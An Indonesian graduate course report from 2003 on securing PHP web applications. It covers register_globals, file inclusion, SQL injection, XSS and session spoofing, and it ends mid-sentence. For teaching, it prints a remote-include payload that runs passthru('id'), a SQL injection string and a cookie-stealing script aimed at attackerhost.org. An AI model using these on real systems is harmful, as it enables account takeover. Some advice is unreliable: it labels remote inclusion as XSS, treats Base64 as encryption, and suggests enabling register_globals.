LAPORAN TUGAS AKHIR Mata Kuliah EI 7012 – KEAMANAN JARINGAN INFORMASI Dosen : Dr.BUDI RAHARJO KEAMANAN PADA APLIKASI WEB DENGAN PHP Oleh : ABD. THALIB NIM. 23202112 ([email protected]) BIDANG KHUSUS TEKNOLOGI INFORMASI PROGRAM MAGISTER TEKNIK ELEKTRO PROGRAM PASCASARJA INSTITUT TEKNOLOGI BANDUNG 2003 ABSTRAK PHP merupakan bahasa script yang digunakan untuk membuat halaman web yang dinamis. Dinamis berarti halaman yang akan ditampilkan dibuat saat halaman itu diminta oleh klien. Konsep kerja PHP, sama halnya dengan HTML yang diawali dengan permintaan suatu halaman web oleh browser. Berdasarkan URL (Uniform Resource Locator) browser mendapat alamat dari web browser, mengidentifikasi dan menyampaikan segala informasi yang dibutuhkan web server. Ketika berkas PHP yang diminta didapat oleh web server, isinya langsung dikirimkan ke mesin PHP untuk diproses dan memberi hasilnya (berupa kode HTML) ke web server. Selanjutnya web server menyampaikan ke klien. PHP adalah aplikasi yang open source dan mempunyai fasilitas autoglobal pada varibel, programer diberikan kemudahan untuk mengaplikasikannya. Tetapi kemudahan ini pula yang memudahkan attacker untuk merusak setiap program dijalankan. Serangan ini dapat dihindari (diminimalkan) dengan mengadakan pengamannya. Untuk itu tulisan ini akan mengkaji berbagai sumber tentang aspek potensial yang mudah diganggu keamanannya pada scrip PHP dan membuat alternatif solusi penangannya. KATA PENGANTAR Puji dan syukur saya panjatkan kehadirat Allah SWT atas rahmat dan karunia-NYA, sehingga saya dapat menyelesaikan tugas akhir mata kuliah : EI 7012 – KEAMANAN JARINGAN INFORMASI, dengan topik “KEAMANAN PADA APLIKASI WEB DENGAN PHP”. Pembahasan materi ini akan mengkaji aspek potensial yang mudah diganggu keamanannya pada skrip PHP dan membuat alternatif solusi penangannya, yang bersumber dari studi internet di beberapa situs. Dalam rangka menambah pengetahuan saya berkenaan dengan ilmu pengetahuan yang berhubungan dengan mata kuliah yang saya ikuti. Oleh karena itu, saya merasakan masih banyak kekurangan dalam uraian tulisan saya ini. Untuk itu kritik dan saran sangat saya harapkan demi perbaikan di masa yang akan datang. Ucapan terima kasih saya sampaikan kepada Bpk.Dr.Budi Raharjo. yang telah memberi bimbingan dan ilmunya kepada saya, semoga menjadi amal baik nantinya. Amin. Bandung, Oktober 2003 Penulis DAFTAR ISI Halaman Judul ……………………………………………………………… i Abstrak ……………………………………………………………………… ii Kata Pengantar ……………………………………………………………… iii Daftar Isi …………………………………………………………………….. iv Daftar Gambar ………………………………………………………………. v BAB I PENDAHULUAN ………………………………………………. 1 …………………………………………………... 1 2. Skrip PHP …………………………………………………………… 1 3. Konsep Kerja PHP …………………………………………………. 3 4. Lubang Keamanan PHP …………………………………………….. 5 BAB II KEAMANAN PADA APLIKASI WEB DENGAN PHP ……….. 6 1. Variabel Auto Global …………..…………………………………... 6 2. Fungsi Include(), Require() atau fopen ……………………………. 9 3. Hilangkan Karakter-Karakter Escape Dalam Perintah SQL ………… 11 4. Hindari Upload Yang Salah …..……………………………………. 13 5. Hilangkan Karakter-Karakter Escape HTML Dalam Teks ………… 13 6. Gunakan Ekstensi .php Untuk Semua File Script ..………………… 14 7. Tempatkan Isi Yang Sensitif Di Luar Direktori Root Dokumen …… 14 8. Berhati-Hati Terhadap Server Bersama …………………………….. 15 9. Hindari Pengertian Yang Ruwet dan Semaunya …………………… 16 10. Pengecekan Kondisi Dengan Jenis Variabel Yang Tidak Jelas …….. 18 11. Session Spoofing ……………………………………………………. 19 12. Beberapa Tips Untuk Pengamanan Aplikasi Web Dengan PHP ……. 20 BAB III KESIMPULAN …………………………………………………. 22 1. Apakah Itu PHP? DAFTAR PUSTAKA DAFTAR GAMBAR Gambar 1. Tampilakn Kode HTML Pada Browser ………………………… 2 Gambar 2. Tampilakn Kode PHP Pada Browser …………………………… 3 Gambar 3 Konsep Kerja HTML ………….………………………………… 4 Gambar 4. Konsep Kerja PHP ……………………………………………… 4 BAB I PENDAHULUAN 1. Apakah PHP Itu? PHP adalah singkatan dari PHP Hypertext Preprocessor yaitu bahasa berbentuk skrip yang ditempatkan di server dan dijalankan oleh server. Hasilnya ke klien tempat pemakai menggunakan browser. PHP dirancang untuk membentuk web dinamis. Artinya PHP dapat membentuk suatu tampilan berdasarkan permintaan terkini. Misalnya dapat mengakses database dan menampilkannya di halaman web serta ineraktif dengan cepat dan mudah. PHP dapat berinteraksi dengan hampir semua teknologi web yang sudah ada. Developer dapat menulis sebuah program PHP yang mengeksekusi suatu program CGI (Common Gateway Interface) di server web lain. Skrip-skrip PHP semula berawal dari skrip Perl yang dikemas menjadi tool yang disebut “Personal Home Page”. Paket inilah yang menjadi cikal bakal PHP. Pada tahun 1995, Rasmus Lerdroft menciptakan PHP/FI Versi 2. Pada versi ini pemrogram dapat menempelkan kode terstruktur di dalam tag HTML. Pada awalnya, PHP dirancang untuk diintegrasikan dengan web server Apache. Namun sekarang PHP juga dapat bekerja dengan web server seperti PWS (Personal Web Server), IIS (Internet Information Server), dan Xitami. PHP bersifat bebas dipakai (open source), dan software-nya dapat di-download melalui situs www.php.net. 2. Skrip PHP Skrip PHP berkedudukan sebagai tag dalam bahasa HTML. Sebagaimana diketahui, HTML (HyperText Markup Language) adalah bahasa standar untuk membuat halaman-halaman web. Berikut adalah contoh kode HTML dan kode PHP. Kode HTML : Abd.Thalib - 23202112 <html> <head> <title>Kode HTML</title> </head> <body> Ini Menggunakan Kode HTML <BR> </body> </html Bila dijalankan melalui browser, maka hasilnya sebagai berikut: Gambar 1. Tampilakn Kode HTML Pada Browser Kode PHP yang berada dalam kode HTML <html> <head> <title>Kode PHP</title> </head> <body> Ini Menggunakan Kode PHP <BR> Abd.Thalib - 23202112 <?php printf("Hari Ini Tgl. : %s ", Date ("d F Y")); ?> </body> </html> Kode PHP diawali dengan <?php dan diakhiri dengan ?>. Pasangan kedua kode inilah yang befungsi sebagai tag kode PHP. Berdasar tag inilah, server dapat memahami kode PHP dan memprosesnya. Hasil dari skrip di atas adalah sebagai berikut: Gambar 2. Tampilakn Kode PHP Pada Browser 3. Konsep Kerja PHP Konsep kerja HTML diawali dengan permintaan suatu halaman web oleh browser. Berdasarkan URL (Uniform Resource Locator) ataudikenal dengan internet, browser mendapat alamat dari web serve, mengidentifikasi halaman yang dikehendaki, dan menyampaikan segala informasi yang dibutuhkan oleh web server. Selanjutnya, web server akan mencarikan berkas yang diminta dan membrikan isinya ke browser. Browser yang mendapatkan isinya segera melakukan proses penerjemahan kode HTML dan menampilkannya ke layar pemakai (klien). Abd.Thalib - 23202112 Web Web Server Server Kode HTML Permintaan HTTP (sesuatu html) Tanggapan HTTP Browser Klien Gambar 3 Konsep Kerja HTML Pada PHP prinsip kerjanya sama, hanya saja ketika berkas PHP yang diminta didapatkan oleh web server, isinya segera dikirimkan ke mesin PHP dan mesin inilah yang memproses dan memberikan hasilnya (berupa kode HTML) ke web server. Selanjutnya, web server menyampaikannya ke klien. Web Web Server Server Skrip PHP Mesin PHP Permintaan HTTP (sesuatu PHP) Browser Klien Kode HTML Tanggapan HTTP . Gambar 4. Konsep Kerja PHP Abd.Thalib - 23202112 4. Lubang Keamanan PHP PHP dapat dijalankan sama seperti aplikasi CGI (Common Gateway Interface) seperti web server yang terintegrasi. Interpreter PHP mempunyai kemampuan untuk mengakses hampir semua host-file system, network interfaces, IPC, dan lain-lain. Konsekwensinya PHP potensial mendapat serangan dari attacker. Untuk meminimalkan serangan programmer harus menyadari dan mengetahui halhal yang tidak diharapkan (merusak) saat program dijalankan, yaitu pengetahuan kelemahan suatu sistem dan modus serangan secara umum yang diarahkan untuk mengganggu keamanan program tersebut Lubang keamanan yang paling umum di dalam skrip PHP dan tak terkecuali pada aplikasi web yang manapun, adalah berkaitan dengan User Input. Banyak skrip menggunakan informasi user yang legal dalam bentuk format web dan memproses informasi ini dengan berbagai cara. Jika user input ini dilegalkan tanpa batasan, maka user input potensial menyisipkan perintah-perintah yang tidak diinginkan dalam skrip. Abd.Thalib - 23202112 BAB II KEAMANAN PADA APLIKASI WEB DENGAN PHP Aplikasi web dengan PHP telah menjadi hal yang populer dalam menyediakan akses global terhadap data, pelayanan, dan produk. Akan tetapi, akses global yang merupakan keuntungan utama penggunaan web ini juga memberikan lubang-lubang keamanan yang bisa diakses secara global dan sering disalahgunakan. Memang bukan hal yang sulit untuk membuat aplikasi web menggunakan skrip PHP, tetapi aplikasi ini bisa jadi mengandung lubang-lubang berbahaya tanpa disadari. Kejadian ini ditampilkan oleh banyak aplikasi web umum lainnya., termasuk PHP yang ternyata memiliki lubang-lubang keamanan berbahaya. Kode program sering dibuat untuk mengidentifikasi lubang ini, tetapi biasanya kode program tersebut mudah diakses oleh publik. Tulisan ini menampilkan langkah-langkah yang dapat membantu mengidentifikasi atau menghindari lubang-lubang demikian dalam aplikasi yang dituliskan dengan menggunakan PHP. 1. Variabel Auto Global Pada umumnya aplikasi PHP yang memiliki lubang keamanan berasal dari kemampuan varibel autoglobal. Dengan adanya fasilitas autoglobal pada varibel, programer diberikan kemudahan mengaplikasikan skrip PHP, tapi memudahkan pula terjadinya lubang keamanan. Dengan fasilitas ini suatu varibel misalnya $x tidak perlu dideklarasikan dahulu dan bisa merupakan varibel session, varibel cookie, varibel dari GET/POST. Tentu saja sebenarnya kelemahan keamanan bukan semata-mata berawal dari varibel autoglobal, melainkan juga kurangnya kewaspadaan dari programer itu sendiri. Akibat lubang kemanan tersebut dapat mengakibatkan hal-hal berikut: a). denial of service, Abd.Thalib - 23202112 b). authentication failure, c). account hijacking, d). perusakan tampilan(layout), e). implantasi virus web browser,dan lain-lain. Kebanyakan aplikasi PHP yang ditemukan lubang keamanannya akibat varibel autoglobal ini adalah aplikasi yang open source, karena user dapat mengetahui kode aplikasi dan mengetahui nama-nama varibel yang digunakan. Jadi dengan sedikit trik 'security through obscurity' sebenarnya skrip agak terlindungi dari akibat fasilitas varibel autoglobal ini. Tapi tentu saja cara itu bukan hal yang baik, karena cepat atau lambat lubang itu akan ditemukan. Jika pilihan register_globals diaktifkan, maka PHP akan membentuk variabel global untuk setiap variabel GET, POST, dan cookie termasuk dalam meminta (request) HTTP. Ini berarti bahwa attaker kemungkinan mampu mengatur variabel-variabel ini di luar perkiraan. Perhatikan kode berikut yang ditujukan untuk melakukan akses tanpa nama terhadap sebuah artikel tunggal dan meminta autentifikasi untuk semua artikel lain: // anggaplah bahwa $article_id ditentukan oleh URL if ($article_id == 0) { $guest_ok = true; } if (!$guest_ok) { // cek apakah pengguna diizinkan dengan menggunakan fungsi yang // didefinisikan pada tempat lain check_auth(); } Kode ini mungkin terlihat dapat dijalankan karena variabel $guest_ok secara umum akan diinisialisasi false. Akan tetapi, jika user memasukkan guest_ok=1 dalam URL, maka dia akan lolos autentifikasi dan mengakses artikel apapun dalam sistem. Abd.Thalib - 23202112 Permasalahan yang sama dapat muncul saat melakukan pengecekan keamanan saat terlihat hubungan (link) ke halaman, tetapi tidak melakukan pengecekan keamanan pada halaman yang terhubung dengan user. Dalam sebuah sistem di mana user mendapat hak akses untuk memilih daftar artikel. Programmer seharusnya melakukan pengecekan keamanan saat mengeluarkan daftar artikel yang tersedia dan saat menampilkan sebuah artikel yang sudah dipilih dari daftar itu. Tanpa melakukan pengecekan ini, attacker dapat mengetik kode URL untuk artikelartikel yang seharusnya tidak boleh diakses olehnya dan melihat artikel itu tanpa kesulitan. Variasi umum lain untuk permasalahan ini adalah menggunakan fitur “Remember My Login” dengan menyimpan pengenal user dalam sebuah cookie, yang mengizinkan user mengubah nilai cookie-nya untuk login. Permasalahan ini dapat muncul di sembarang tempat dalam skrip yang dibuat. Perhatikanlah dengan hati-hati daerah-daerah berikut. ▪ Kode pengecekan autentifikasi dan izin. ▪ Gunakan variabel sebelum diinisialisasi(dapat diatur melalui error_reporting) ▪ Gunakan variabel yang dirancang untuk mengatur permintaan oleh perintah GET atau POST. Langkah-langkah yang dapat dilakukan untuk mengatasi permasalahan ini adalah sebagai berikut. ▪ Menonaktifkan register_globals dalam file php.ini. Sesudah melakukan perubahan ini, Anda akan menggunakan $HTTP_GET_VARS dan $HTTP_POST_VARS yang berhubungan dengan array untuk mengakses input GET dan POST sebagai pengganti penggunaan variabel global. Hal ini mungkin akan membosankan, tetapi jauh lebih aman. ▪ Jika fungsi “Remember My Login” dibutuhkan, masukkan sebuah password atau berusaha keras menebak pengenal acak dalam cookie (fungsi “Remember My Login” masih bisa memberikan lubang keamanan lain seperti pengguna jahat yang membagi sebuah mesin dengan seorang pengguna resmi untuk mendapatkan akses). Abd.Thalib - 23202112 ▪ Menuliskan kode untuk menginisialisasi variabel global. Kode fragmen di atas dapt dikembangkan dengan menginisialisasi $guest_ok sehingga bernilai false di awal script. ▪ Menjamin suatu variabel bahwa variabel itu benar-benar datang dari suatu bagian dan tidak berasal dari attacker. ▪ Menuliskan kode untuk mengecek bahwa variabel global tidaklah berada dalam array $HTTP_POST atau $HTTP_GET. 2. Fungsi include(), require() atau fopen() Akibat mekanisme autoglobal, suatu varibel dalam php menjadi tidak jelas jenisnya. Jenis variabel jadi tidak dapat dibedakan antara variabel dari GET/POST, varibel dari ENVIRONTMENT atau varibel dari COOKIES/SESSION. Akibatnya suatu variabel apa saja yang didefinisikan dapat dengan mudah diisi dengan nilai dari varibel GET atau POST. Kelemahan biasanya muncul ketika digunakan varibel untuk parameter fungsi include(), require() atau fopen(). Dengan fungsi tersebut dapat dilakukan eksekusi/parsing file PHP dari file lain, baik pada file dari disk local atau file dari situs lain. Jika varibel untuk parameter fungsi tersebut diketahui,maka attacker dapat mengganti nilai varibel tersebut dengan mengirimkan nilai varibel lewat metode GET atau POST. Contoh dibawah ini adalah vulnerability akibat menggunakan variabel pada fungsi include(). Perhatikan kode dibawah ini : include($phpgw_info["server"]["include_root"]."/phpgwapi/phpgw_info.inc.php"); Kode tersebut tidak aman karena walaupun menggunakan varibel array, variable $phpgw_info masih dapat diganti dengan varibel GET/POST dari client atau diganti dengan sebuah url lain misalnya http://attacker/phpgwapi/phpgw_ info.inc.php, dimana file phpgw_info.inc.php dapat berisi kode php yang dapat dieksekusi oleh server korban/victim, misalnya berupa kode : <?php Abd.Thalib - 23202112 $phpcode = 'echo("Hi there!<BR>");passthru("id");'; if (substr($HTTP_SERVER_VARS["HTTP_USER_AGENT"], 0, 3) == "PHP") echo("<?php $phpcode ?>"); else eval($phpcode); exit(); ?> [ Detil vulnerability -> http://online.securityfocus.com/advisories/2947 ] Kejadian seperti diatas, dimana suatu kode php dari situs lain diambil agar dieksekusi di server korban sering disebut Cross Site Scripting (XSS). Ada beberapa langkah untuk menghindari penggunaan variabel global saat mengakses file, yaitu : ▪ Hindari penggunaan variabel sebagai nama file. Variabel $lib_dir di atas bisa diganti dengan sebuah nilai yang didefinisikan oleh PHP yaitu fungsi define. ▪ Cek apakah nama file yang dibuat adalah salah satu dari nama file yang diinginkan, misalnya: $valid_pages = array ( “apage.php” => “”, “another.php” => “”, “more.php” => “”); if (!isset($valid_pages[$page])) { // batalkan script // sebaiknya buat pesan log di sini juga die(“Invalid request”); } ▪ jika ternyata harus menggunakan sebuah variabel dari browser, cek dahulu apakah nilai variabel menggunakan kode seperti di bawah ini: Abd.Thalib - 23202112 if (!(eregi(“^[a-z_./]*$”, $page) && !eregi(\\.\\.,$page))) { // batalkan script // sebaiknya buat pesan log di sini juga die(“Invalid request”); } ▪ Jangan percaya variabel global untuk langkah berikutnya yang dapat menjamin variabel tidak akan digunakan untuk hal-hal yang merusak. ▪ Gunakan konfigurasi varibel allow_url_fopen dan open_basedir untuk membatasi lokasi di mana file bisa dibuka. 3. Hilangkan Karakter-Karakter Escape dalam Perintah SQL. Kesalahan umum yang terjadi adalah penggunaan nilai variabel yang disediakan oleh user atau URL dalam sebuah query SQL tanpa menghilangkan karakter-karakter khusus. Perhatikan contoh kode fragmen berikut dari sebuah skrip yang dirancang untuk mengecek kebenaran username dan password yang dimasukkan dalam halaman HTML: $query = “SELECT * FROM users WHERE username=’ “ . $username . “ ‘ AND password=’ “ . $password . “ ‘ “; // record yang memenuhi perintah di atas terdapat di suatu tempat if (record_exists($query)) { echo “Access granted”; } else { echo “Access denied”; } Perintah ini akan jalan jika pengaksesan menggunakan check.php?user name=admin&password=x. Akan tetapi, jika kode ini diakses dengan menggunakan check.php? username=admin&password=a%27+OR+1%3Di %271 (dan jika magic_quotes_gpc dibuat disabled) maka password akan menjadi Password=’a’ or 1=’1’ sehingga record pengguna admin akan selalu dikembalikan berapapun nilai password. Abd.Thalib - 23202112 Permasalahan ini dapat dihilangkan secara terpisah dengan mendeklarasikan variabel magic_quotes_gpc pada file php.ini, yang berarti bahwa PHP akan menghilangkan kutipan dalam GET, POST dan data cookie (data tidak berguna, hanya membuang-buang waktu saja) yang menggunakan karakter \.. Namun demikian, magic_quotes_gpc sering dibuat disabled karena variabel ini dapat membuat kode lain menjadi aneh. Jika diberikan sebuah perintah echo $username pada kode fragmen di atas, maka setiap kemunculan karakter ‘ akan diganti oleh \’. Selanjutnya variabel magic_quotes_gpc tidak akan terlindungi dari nilai-nilai variabel yang diperoleh dari sumber-sumber seperti record basis data atau file di mana pengguna jahat kemungkinan sudah bermodifikasi selama operasi program berjalan normal. Pengguna harus betul-betul memperhatikan perintah pencarian (search) pada basis datanya. Jika pengguna menggunakan MySQL contohnya, maka pencarian ini dapat dilakukan dengan menggunakan fungsi mysql_db_query. Ada beberapa langkah untuk mengatasi karakter-karakter escape. Langkahlangkah itu adalah: ▪ Gunakan fungsi addslashes yang sudah ada atau fungsi-fungsi serupa Untuk menghindari kutipan dan backslash dalam perintah SQL dengan backslash. ▪ Aktifkan variabel magic_quotes_gpc. Variabel ini bisa membantu, tetapi jangan terlalu diandalkan. (Pengaktifan dan penggunaan addslashes akan menghasilkan kesalahan). ▪ Jika menggunakan variabel yang diharapkan mengandung angka dalam perintah SQL, yakinkan bahwa variabel-variabel itu betul-betul mengandung angka. Di sini, bisa digunakan fungsi-fungsi yang sudah dimiliki oleh PHP, di antaranya: sprintf, ereg, dan is_long untuk mengecek nilai variabel. Abd.Thalib - 23202112 4. Hindari Upload Yang Salah File-file upload dapat rusak dari sebuah kemungkinan berbahaya yang berasal dari permasalahan variabel global yang tidak dapat dipercaya. Hal ini layak dipertimbangkan sebagai sebuah permasalahan tambahan. Saat sebuah file diuploaded, script PHP menyimpan file uploaded itu. Akan tetapi, user dapat membangun URL yang mengatur nilai variabel ini hingga menjadi nilai yang tidak diharapkan seperti /etc/passwd dan tidak akan meng-upload file. Skrip tersebut kemungkinan kemudian menyalin file itu ke sebuah lokasi atau menampilkan isi file ke user. Apa yang harus dilakukan adalah menguji semua skrip yang berhubungan dengan file upload. Pencarian dengan type=”file” mungkin bisa membantu mengidentifikasi skrip-skrip ini. Langkah-langkah perbaikan dan pengembangan dalam permasalahan ini adalah seperti beikut ini. ▪ Menggunakan versi-versi PHP terbaru yang memiliki fungsi-fungsi is_uploaded_file dan move_uploaded_file. Versi terbaru ini memperbolehkan pemrogram untuk menjamin bahwa fungsi-fungsi di atas bekerja dengan file-file uploaded. ▪ Jika Anda tidak yakin bahwa kode Anda akan berjalan pada versi PHP terbaru, aturlah setting konfigurasi upload_tmp_dir dan kemudian lakukan pengecekan input untuk menjamin bahwa file di mana Anda bekerja betul berada dalam direktori ini. 5. Hilangkan Karakter-Karakter Escape HTML Dalam Teks Apa yang akan terjadi jika seseorang meletakkan sebuah tag <blink> dalam sebuah bagian di halaman web? Jika tidak dihilangkan karakter HTML ini dalam teks sebelum disimpan atau ditampilkan, maka semua teks berikutnya pada halaman itu akan berkedib. Versi-versi lain yang lebih berbahaya dari hal ini juga memungkinkan; contohnya attacker akan menulis JavaScript yang akan membawa browser ke tempat pesaingnya. Abd.Thalib - 23202112 Dalam permasalahan ini perlu diidentifikasi halaman yang menampilkan teks yang dimasuki oleh user yang tidakdiinginkan. Langkah-langkah perbaikan dan pengembangan adalah: ▪ Menghilangkan HTML dengan tepat sebelum menyimpan atau menampilkannya. Untuk ini dapat digunakan fungsi-fungsi yang dimiliki oleh PHP yaitu htmlspecialchars atau htmlentities untuk maksud ini. ▪ Jika Anda menginginkan agar pengguna yang tidak dapat dipercaya menggunakan HTML untuk pemformatan, maka Anda seharusnya melakukan validasi untuk membatasi tag-tag HTML yang tersedia dengan hanya menggunakan tag dasar seperti <b> dan <I>. 6. Gunakan Ekstensi .php untuk Semua File Script Banyak pemrogram PHP menggunakan ekstensi .inc atau .class untuk file library dan file konfigurasi yang diakses dengan menggunakan fungsi include. Jika attacker mengambil URL untuk file .inc atau .class dalam browser-nya, maka dia tidak akan mampu melihat isi file ini, termasuk kode PHP apapun. Boleh jadi hal ini memperlihatkan hak keintelektualan, password, atau kelemahan dalam pengkodean. Apa yang harus dilakukan adalah menguji semua nama file dari semua file script yang ada. Langkah-langkah perbaikan dan pengembangan adalah: ▪ gunakan ekstensi .php untuk semua file script, ▪ tempatkan file library dan file konfigurasi di luar direktori root dokumen server web. 7. Tempatkan Isi Yang Sensitif Di Luar Direktori Root Dokumen Banyak sistem PHP dirancang untuk membatasi akses ke dokumen atau citra melalui autentifikasi user dan daftar kontrol akses. Akan tetapi, dokumendokumen ini sering disimpan sebagai file dalam sebuah subdirektori dari direktori yang berisi skrip PHP. Hal ini tentu membuat file-file tersebut tersedia langsung jika user memakai URL yang tepat dalam browser. Abd.Thalib - 23202112 Jadi, janganlah meletakkan isi yang seharusnya rahasia dalam root aplikasi; contohnya, jangan menempatkan citra yang dimaksudkan sebagai password yang dilindungi dalam root aplikasi. Apa yang harus dilakukan untuk mengatasi permasalahan ini adalah dengan mengecek penempatan direktori yang digunakan untuk menyimpan file-file yang mengandung isi rahasia. Langkah-langkah perbaikan dan pengembangan dalam permasalahan ini adalah. ▪ Menyimpan isi sebagai sebuah file dalam sebuah direktori di luar direktori root dokumen milik web server. ▪ Menyimpan isi dalam sebuah basis data. ▪ Menggunakan fitur web server seperti file Apache .htaccess untuk mencegah akses langsung ke direktori isi. 8. Berhati-Hati terhadap Server Bersama Banyak situs PHP mengambil keuntungan dengan murahnya tempat yang disediakan oleh pihak ketiga. Penyedia tempat ini biasanya menggunakan server bersama dengan pengguna-pengguna lain. Pengguna lain ini mungkin saja mampu menggunakan skrip PHP atau akses shell untuk memodifikasi, mengakses, atau menghapus file-file atau menentukan password basis data. Serangan lain yang mungkin adalah kemampuan menciptakan file sesi (standarnya tersimpan dalam /tmp) yang akan mengizinkan attacker menggunakan autentifikasi tersebut. Apa yang harus dilakukan untuk mengatasi permasalahan ini adalah jika server yang digunakan adalah server bersama, lihatlah dulu konfigurasi server dengan menggunakan fungsi phpinfo. Juga lakukan pengecekan pada izin penggunaan file-file yang sensitif. Langkah-langkah perbaikan dan pengembangan dalam permasalahan ini adalah: ▪ Menggunakan server khusus sebagai gantinya. Perusahaan penyedia tempat untuk situs PHP memiliki server khusus yang tersedia dengan harga yang lebih tinggi, tetapi keamanan dan kinerja yang diberikan bisa mengimbangi pengeluaran. Abd.Thalib - 23202112 ▪ Mengecek apakah perusahaan penyedia tempat sudah mengaktifkan setting konfigurasi safe_mode (bisa dicek dengan menuliskan sebuah skrip yang berjalan dengan fungsi phpinfo). Namun demikian, fungsi safe_mode juga dapat mencegah eksekusi program lain sehingga membatasi fungsionalitas situs. ▪ Menentukan perizinan file sehingga web server hanya bisa membaca file-file jika diketahui namanya (Pada sistem Unix, berikan model direktori seperti 711). 9. Hindari Pengetikan yang Ruwet dan Semaunya PHP akan sering mengubah tipe variabel dari satu tipe ke tipe lain untuk mencocokkan isi dengan yang sedang digunakan. Permasalahan ini sulit diidentifikasi, tetapi dapat membawa ke lubang-lubang keamanan dalam perangkat lunak PHP. Perhatikan kode berikut: <?php // daftar pengguna biasa – kunci untuk tiap array merupakan user number dan // nilainya adalah password $users[0] = “”; //pengguna tamu (guest user) $users[1] = “password1”; $users[2] = “password2”; // cek apakah pengguna sudah memasuki user ID 0, 1, atau 2 if ($user_id < 0 || $user_id > 2 ||!isset($user_id)) { die(“Invalid user ID”); } // cek apakah user bukan tamu yang sudah memberikan password yang benar if ($user_id != 0 && $password != $users[$user_id])) { die(“Password Invalid”); } // cetak pesan yang memberitahukan pengguna siapa mereka Abd.Thalib - 23202112 if ($user_id) { echo “Anda pengguna resmi”; } else { echo “Anda pengguna tamu”; } ?> Kode ini terlihat sudah melakukan pengecekan yang cukup untuk menjamin bahwa user ID yang benar sudah masuk. Daftar parameter dan output bisa dilihat pada tabel berikut. Nilai user_id Nilai password Output Kebenaran output 4 x Invalid user ID Ya l y Password Invalid Ya l password1 Anda pengguna resmi Ya 0 - Anda pengguna tamu Ya a z Anda pengguna resmi Tidak 00 z Anda pengguna resmi Tidak Permasalahan ini cukup sulit diidentifikasi, tetapi kode berikut mungkin dapat diserang: ▪ perbandingan nilai pengguna yang masuk dengan nilai numerik. ▪ ketidakkonsistenan ekspresi. Contohnya, penggunaan kombinasi if ($x != 0) dan if ($x). Langkah-langkah perbaikan dan pengembangan: ▪ mengecek kebenaran input pengguna dengan operasi pencocokkan tipe, ▪ menggunakan fungsi pengecekan tipe seperti is_long. Abd.Thalib - 23202112 10. Pengecekan Kondisi Dengan Jenis Varibel Yang Tidak Jelas Proses otentikasi ataupun autorisasi seringkali dilakukan dengan mengecek kondisi yang membandingkan varibel GET/POST yang diberikan user atau varibel dari session/cookie dengan suatu nilai. Misalkan suatu halaman melakukan otentifikasi dengan kode seperti dibawah ini: <?php session destroy() session_start(); $session_auth = "admin"; session_register("session_auth"); ?> dan kemudian sebuah halaman menggunakan autorisasi dengan cara mengecek varibel "session_auth" seperti ini: <?php if (!empty($session_auth)) { // Kode jika autorisasi berhasil disini } ?> Kode pengecekan tersebut tidaklah aman, sebab dengan mudah attacker dapat mengakses halaman tersebut dengan URL seperti http://victimhost/page.php? session_auth=1 yang dapat membuat kondisi pada if diatas menjadi TRUE. Kesalahan pemrograman seperti ini juga terjadi pada jenis varibel dari GET/POST, varibel cookie. Langkah-langkah perbaikan dan pengembangan: Set konfigurasi auto_global menjadi off pada file php.ini dan mulailah memprogram dengan pendefinisian varibel yang jelas, $_GET, $_POST, $_COOKIE atau $_SESSION. if ( $_POST['username'] == $user && $_POST['password'] == $pass ) { /* ... */ Abd.Thalib - 23202112 } Jika akses ke php.ini tidak ada, gunakan fungsi ini_set() : ini_set("register_globals", 1); 11. Session Spoofing Mekanisme session pada PHP tidak dilakukan dengan cara yang cukup aman. Ketika suatu session dibentuk, misalnya saat user login, maka sebuah file untuk menyimpan data variabel session dibuat dan akan tetap ada sebelum session di-destroy. Session file tersebut dibuat pada direktori yang didefinisikan pada php.ini sebagai session.save_path, pada UNIX biasanya adalah /temp/ sedangkan pada Windows adalah sessiondata/ pada direktori dimana PHP diinstal. File tersebut biasanya bernama seperti ini : sess_48f220fd650c06e84a15be 8fb85d dengan "48f220fd650c06e84a15be8fb85d" adalah nomor session ID aktual. Session file dibuat oleh user yang menjalankan php/webserver, biasanya adalah nobody. Seorang attacker yang cukup memiliki kemampuan untuk menyimpan file PHP sehingga file dapat diakses lewat URL, dapat membuat sebuah program PHP yang melihat semua session file yang ada kemudian melihat isinya. Sebuah session dapat berisi informasi-informasi yang krusial seperti username, password dan lain-lain sehingga attacker dapat mengambil informasi tersebut, atau paling tidak, jika sistem pengecekan untuk otentifikasi tidak terlalu rumit, misalnya tanpa pengecekan IP host dari client, maka dengan menggunakan session ID attacker dapat men-take over session tersebut. Atau mungkin, jika attacker tahu apa yang harus diisi pada file tersebut, maka attacker dapat membuat sessionya sendiri. Langkah-langkah perbaikan dan pengembangan: Mengubah direktori tempat menyimpan session file. Hal ini dapat dilakukan lewat file konfigurasi php.ini atau dengan menggunakan fungsi session_save_path() pada kode PHP. Kemudian buatlah direktori tersebut hanya memiliki hak akses execute dan writable oleh user yang menjalankan webserver. Abd.Thalib - 23202112 mkdir /temp/sessiondir/ chmod 300 /temp/sessiondir/ Konfigurasikan PHP agar menyimpan sessionnya pada database dengan session_set_save_handler.Tentu saja solusi ini tidak terlalu baik, tetapi paling tidak sudah memberi kerjaan yang berat buat attacker. Sebagai tambahan, untuk menyimpan data yang krusial di session misalnya password, dapat melakukan enkripsi varibel sebelum varibel tersebut disimpan pada session, misalnya: minimal dengan Base64 encoding. Session spoofing juga dapat terjadi akibat tidak amannya cara penampilan suatu halaman PHP. 5. Beberapa Tips Untuk Pengamanan Aplikasi Web Dengan PHP a). Mengamankan Layout atau Tampilan. Pada web yg dinamis, kita sering melakukan permintaan data dari user yang kemudian disimpan dalam database lalu ditampilkan untuk dapat dilihat oleh pengunjung lain. Jika user iseng, user dapat merusak tampilan web karena dia memasukan tag-tag HTML, misalnya memasukan kode <img src="image.jpg"> untuk menampilkan gambar yang sangat besar atau memasukan kode <!-- sehingga sebagian tampilan web tidak muncul atau mungkin user memasukan kode javascript yang akan menggangu pengunjung lain. Dengan menggunakan client side scripting seperti javascript, sebuah sesion dapat dicuri dengan cara ini. Misalkan sebuah web based mail menampilkan subject email dengan cara : <? echo "<TD>Subject : ". $subject ."</TD>"?> Dengan memberikan subject yang berisi kode javascript seperti ini : <s cript> self. location.href="http://attackerhost.org/cookiegrab.html?cookies="+escape(document.cookie) </s cript> maka informasi session/cookie dapat dikirim ke website attacker. Abd.Thalib - 23202112 Untuk menghindari tag-tag HTML yang dapat merusak tampilan/layout website, atau menghindai implantasi scripting seperti diatas, kita dapat men-disable tag-tag tersebut. Kita dapat memilih tag-tag apa saya yang diperbolehkan dengan fungsi strip_tags() sehingga tag yagn tidak diperbolehkan ditampilkan sebagaimana adanya dan tidak diparsing oleh browser sebagai kode HTML. Atau dapat juga mengubah setiap karakter "<" dan ">" 